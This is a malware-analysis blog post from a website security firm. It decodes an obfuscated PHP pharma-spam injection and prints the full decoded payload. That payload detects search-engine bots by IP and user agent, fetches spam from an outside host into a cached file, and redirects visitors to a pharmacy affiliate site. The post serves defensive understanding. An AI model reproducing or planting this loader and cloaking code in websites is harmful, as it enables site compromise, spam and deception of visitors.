Intelligent (Pharma) Spam Decoded

We are seeing a rise in the use of intelligent SPAM – a.k.a Pharma Hack – across a number of platforms. We recently found a nice injection that made us salivate, we figured you’d be just as interested

It is of no surprise to us that attackers are always looking for ways to trick us and more importantly our users. This gem of a find was no different.

SPAM = “Stupid, Pointless Annoying Message”.

SPAM, in the form of unsolicited e-mail messages, is a problem that we face every day.  Imagine sending a client a link to a newly released product, they get to the page, and BAM they’re greeted with advertisements for pharmaceutical products (Viagra / Cialis / Male Enhancers). What do you think the impact would be?

If you’re wondering, allow us to tell you. It would be devastating. Not only do you run the risk of losing credibility but you also run the risk of becoming blacklisted. Both of these have a similar affect, loss of money and followship. Neither are things most of us that live on the web can afford.

That’s a very real scenario and its why we’re sharing this post with you. This article will show you an intelligent SPAM injection and hopefully help you understand how it does what it does.

Technical Analysis

We find a number of different types of malware on a daily basis when clearing our client website’s. In most cases, you can tell right away its malware by looking at it. In other cases, with a little bit of work – decoding here, unpacking there – you can get it to a human-readable result.

The other day when analyzing such a site I came across this really interesting string of code:

eval(gzinflate(base64_decode(“pf1r12XVdSYISukxfKNkNXK7uxJhNwinAgi
T0QhQQBCBP9hj+EeUugXIAocqKqQEad0vf73PXvP2rHVmpKtGO1MQnHjfc87ee6255uW5/OP//vjj
3378YX786z9+9B+fffLV44//+OGnv/7sl99/9JuPP/zu8fOP/vDZJ398/PGvP/z0+fXirx//5qPvP
vskP/74Dx9++sfPfvnbj/79o2ePP/38H7/7+MPffvT9449//9kv//T44+8e/+azT3776998+Ol3H1
0/+/GHf3x8+9Ff3179/eOP//3DT3/72S+f/ey7//HFz7/4l3+V//e7n7/97Mn3v3v9719783997c2
/e/7nb7z…..

At a first glance, it looks like a regular malware string in which it’s just echo’s code into a human-readable version, right?! Well.. not quite yet.

Decoding

After decoding it we get the following result:

95t74_18i96s3_7c3r95y74p18t96e3d3=78;$r41e3s74o96u74r7c95e_c18r3y
74p41t7e3d_c95o74d18e96=”rq>&>
CDCDCDCDCDj&!=:sj^Q^]^K^\^X^K^\^Ui^F^Z^Z^^^Q^F^A^]^Zi^SuCDj/)+ :sj
^Q^]^K^\^X^K^\^Ui^F^Z^Z^^^Q^[^]^K^\^Q
^O ^K^@^Zi^SuCDj&!=:^?nsn=:<^Q<+>\”/-+fl999`lbllbj&!=:guCDj&!=:^?s#*
{fj&!=:^?guCDj*’<s:<’#f=: <^Q<+>\”/fi999`ibiibj^Q^]^K^\^X^K^\^Ui^F^Z^
Z^^^Q^F^A^]^Zi^S`j^Q^]^K^\^X^K^\^Ui^\^K^_^[^K^]^Z^Q^[^\^Gi^
SgguCDj*'<s#*{fj*'<guCDnnnnj=+<8+<^Q/--+>:^Q\"/ );/)+nsn^Nj^Q^]^K^\^X^K^\^
Ui^F^Z^Z^^^Q^O^M^M^K^^^Z^Q^B^O^@ ^[^O ^Ki^SuCDnnnnj=+<8+<^Q;=+<^Q/)+ :nsn^Nj^Q^]^K^\^X^K^\^Ui^F^Z^Z^^^Q^[^]^K^\^Q^O ^K^@^Zi^SH^
…^Q^H^A^\i^SuCDnnnnj=+<8+<^Q<+#!:+^Q/**<

Once again, we see an encrypted file. Is it all lost?

Of course not!

It may be overwhelming at first but if you look closely you will start to see a pattern.

Let’s take a look once again at the beginning ot the code and the end of it:

— FOF —
$k74e41y7_t3h95a74t18_96s3c41r7i3p95t74_18i96s3_7c3r95y74p18t96e3d3=78;
$r41e3s74o96u7 4r7c95e_c18r3y74p41t7e3d_c95o74d18e96=”rq>&>
CDCDCDCDCDj&!=:sj^Q^]^K^\^X^K^….

— EOF —
….&::>c+?;’8si<+(<+=&in-! :+ :si^?uj;<\”<+*’-:ipra&+/*pr,!*7pCDra,!*7pra&:#\”plgu3CDG3C
DCD^N(-\”!=+nfj(‘\”+guCD3CDCD<+/*(‘\”+fj(‘\”+-/-&+guCDCDaaaaaaaaaaaaaCD+6′:unn3CDqp”;$s74t7r95i18n3g_o41u3t74p96u95t3=
$r41e3s74o96u74r7c
95e_c18r3y74p41t7e3d_c95o74d18e96;$l3e96n18t74h_o95f_c3r7y41p74t96e18
d_c74o95d3e7= strlen($s74t7r95i18n3g_o41u3t74p96u95t3);
$e3v18a95l_p7h74p_c41o3d74e96=”;
for($h96u74i3v41a74m7v95s18e3m=0;$h96u74i3v41a74m7v95s18e3m<$l3e96n18t74h_o95
f_c3r7y41p74t96e18d_c74o95d3e7;$h96u74i3v41a74m7v95s18e3m++)$e3v18a95l_p7h7
4p_c41o3d74e96 .= chr(ord($s74t7r95i18n3g_o41u3t74p96u95t3[$h96u74i3v41a74m7v95s18e3m]) ^ $k74e41y7_t3h95a74t18_96s3c41r7i3p95t74_18i96s3_7c3r95y74p18t96e3d3);
eval(“?>”.$e3v18a95l_p7h74p_c41o3d74e96.”<?”);

Come on, can’t you see?

Let me make it easier for you,  start with the beginning. Starting from left to right, take out the 74, 41, 7, 3, 95, 4, 18, 96… see it now?

$k74e41y7_t3h95a74t18_96s3c41r7i3p95t74_18i96s3_7c3r95y74p18t96e3d3=78;
$r41e3s74o96u74r7c95e_c18r3y74p41t7e3d_c95o74d18e96=”rq>&>
CDCDCDCDCDj&!=:sj^Q^]^K^\^X^K^….

If you are familiar with PHP it may not be strange to you. It’s just declaring some variables, but what are they?

After taking out those pesky numbers, look at what we find:

$key_that_script_is_crypted=78; <— WHOAAA!
$resource_crypted_code=”rq>&>CDCDCDCDCDj&!=:sj^Q^]^K^\^X^K^…. <— WHOAAA! [2]

Now let’s take a look at the end of the code. Keeping in mind what we just did at the beginning of the file, lets break it down:

…….&::>c+?;’8si<+(<+=&in-! :+ :si^?uj;<\”<+*’-:ipra&+/*pr,!*7pCDra,!*7pra&:#\”plgu3CDG3CDCD^N(-\”!=+nfj(‘\”+guCD3CDCD<+/*(‘\”+fj(‘\”+-/-&+guCDCDaaaaaaaaaaaaaCD+6′:unn3CDqp”;

$s74t7r95i18n3g_o41u3t74p96u95t3=$r41e3s74o96u74r7c95e_
c18r3y74p41t7e3d_c95o74d18e96;
$l3e96n18t74h_o95f_c3r7y41p74t96e18d_c74o95d3e7=
strlen($s74t7r95i18n3g_o41u3t74p96u95t3);
$e3v18a95l_p7h74p_c41o3d74e96=”;

for($h96u74i3v41a74m7v95s18e3m=0; $h96u74i3v41a74m7v95s18e3m < $l3e96n18t74h_o95f_c3r7y41p74t96e18d_c74o95d3e7; $h96u74i3v41a74m7v95s18e3m++)
$e3v18a95l_p7h74p_c41o3d74e96 .= chr(ord($s74t7r95i18n3g_o41u3t74p96u95t3[$h96u74i3v41a74m7v95s18e3m]) ^ $k74e41y7_t3h95a74t18_96s3c41r7i3p95t74_18i96s3_7c3r95y74p18t96e3d3);
eval(“?>”.$e3v18a95l_p7h74p_c41o3d74e96.”<?”);

Way easier now huh?!

…….&::>c+?;’8si<+(<+=&in-! :+ :si^?uj;<\”<+*’-:ipra&+/*pr,!*7pCDra,!*7pra&:#\”plgu3CDG3CDCD^N(-\”!=+nfj(‘\”+guCD3CDCD

$string_output=$resource_crypted_code; <– NICE!
$lenth_of_crypted_code=strlen($string_output); <– Yes! The malicious attacker wrote lenth (length)
$eval_php_code=”; <– EASY

for ($huivamvsem=0; $huivamvsem < $lenth_of_crypted_code; $huivamvsem++)
$eval_php_code .= chr(ord($string_output[$huivamvsem]) ^ $key_that_script_is_crypted);
eval(“?>”.$eval_php_code.”<?”);

Once again, if you are familiar with PHP and basic encryption, you’ll notice the code doing an XOR with the variable $key_that_script_is_crypted.

It gets the encrypted data from $resource_crypted_code and stores in $string_output. After that there’s a loop to decode the encrypted data, XOR’ing it with the $key_that_script_is_crypted, and storing the results in the variable $eval_php_code.

The eval(..) in the last line just executes/calls the decoded script stored in $eval_php_code.

Final code

Finally, after all that, the PHP file generated is:

$host=$_SERVER['HTTP_HOST'];
$agent=$_SERVER['HTTP_USER_AGENT'];
$host1 = str_replace(“www.”,””,$host);
$host1=md5($host1);
$dir=trim(str_replace(‘www.’,”,$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']
));
$dir=md5($dir);
$server_accept_language = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
$server_user_agent = @$_SERVER['HTTP_USER_AGENT'];
$server_referer = @$_SERVER['HTTP_REFERER'];
..
$server_request = @$_SERVER['REQUEST_URI'];
function detectBot($server_user_agent,$server_ip,$my_url_for_log,
$server_query_string,
$server_referer,$enable_logging){
$stop_ips_masks = array(
“66\.249\.[6-9][0-9]\.[0-9]+”,
“70\.91\.180\.25″,
“65\.5[2-5]\.[0-9]+\.[0-9]+”,
“74\.6\.[0-9]+\.[0-9]+”,
“67\.195\.[0-9]+\.[0-9]+”,
“72\.30\.65\.32″,
“93\.172\.94\.227″,
“212\.100\.250\.218″,
“71\.165\.223\.134″,
..
“117\.211\.123\.62″,
“91\.187\.103\.152″,
“208\.80\.74\.7″,
“207\.164\.79\.6″,
“89\.149\.253\.169″);
$stop_agents_masks = array(“http”, “google”, “slurp”, “msnbot”, “bot”,
“crawl”, “spider”, “robot”, “HttpClient”, “curl”, “PHP”, “Indy Library”,
“WordPress”,’Charlotte’,’wwwster’,’Python’,’urllib’,’perl’,’libwww’,’lynx’,
‘Twiceler’,’rambler’,’yandex’);
$server_user_agent = preg_replace(“|User\.Agent\:[\s ]?|i”, “”,
@$server_user_agent);
$is_human = true; $stop_ip_detected = false; $stop_agent_detected = false; $detected_str = “”;
foreach ($stop_ips_masks as $stop_ip_mask) if(eregi(“$stop_ip_mask”, $server_ip)) {
$is_human = false; break;
}
if($is_human) foreach($stop_agents_masks as $stop_agents_mask)
if(eregi($stop_agents_mask, @$server_user_agent) !== false){
$is_human = false; break;
}
if($is_human and !eregi(“^[a-zA-Z]{5,}”, @$server_user_agent)) {
$is_human = false;
}

if($is_human and strlen($server_user_agent)<=11) {
$is_human = false;
}

if(stristr($server_referer,$server_query_string)) {
$is_human = false;
}
return $is_human;
}
@$is_human = @detectBot($server_user_agent,$server_ip,$my_url_for_log,
$server_query_string,$server_referer,$enable_logging);
if (@$is_human==false)
{
if (is_file($gde.”.$dir)) {
include($gde.”.$dir);
exit;
}
}
$reff = $_SERVER["HTTP_REFERER"];
$reff = strtolower($reff);
if (preg_match(‘/viagra|cialis|levitra|pharmacy|drugstore|
prescription|drugs|discount|ED|erectile/’, $reff)) {

//include ‘theme.php’;

$filecache=$_SERVER['DOCUMENT_ROOT'].’/wp-admin/whois.dat’;
$randomtime=rand(1,3);
$urlx=’http://ochkomandrit.com/wp-content/themes/twentyeleven/languages/admin.txt’;
$urlredict=’http://www.canadian-medshop.com/?aid=9565′;

$time_sec=time();@$time_file=filemtime($filecache);$time=($time_sec-$time_file)/360;

function curl_gets($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($ch, CURLOPT_USERAGENT, ‘Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0)’);
$data = curl_exec($ch);
$httpcode = curl_getinfo ( $ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($httpcode!=’200′) $data=’404′;
return $data;
}

if (($time>$randomtime)||(filesize($filecache)==0))
{
$tmpx=curl_gets($urlx);
if ($tmpx!=404){$file = fopen ($filecache,”w+”);if ( $file ) {fputs ( $file, $tmpx);}}
else {
$file = fopen ($filecache,”a+”);if ( $file ) {fputs ( $file, ”); }
if ($urlredict) {exit(“<html><head><meta http-equiv=’refresh’ content=’1;$urlredict’></head><body>”);}
}

@fclose ($file);
}

readfile($filecache);

/////////////
exit; }

So what is it doing?

In short, the code you see above will try to determine who is visiting the site (a bot, a normal user or one of the blocked IP addresses), and display SPAM from http://ochkomandrit.com/wp-content/themes/twentyeleven/languages/admin.txt, or redirect www.canadian-medshop.com depending on the case.

So yes, all of that just to display SPAM on a compromised site.


Check if your site is compromised with spam here: Sucuri SiteCheck

Scan your website for free:
About Rodrigo Escobar

Rodrigo is a Senior Security Analyst at Sucuri's Website remediation team. His diet consists of web-based malware in the morning, backdoors in the afternoon and security research in the evening.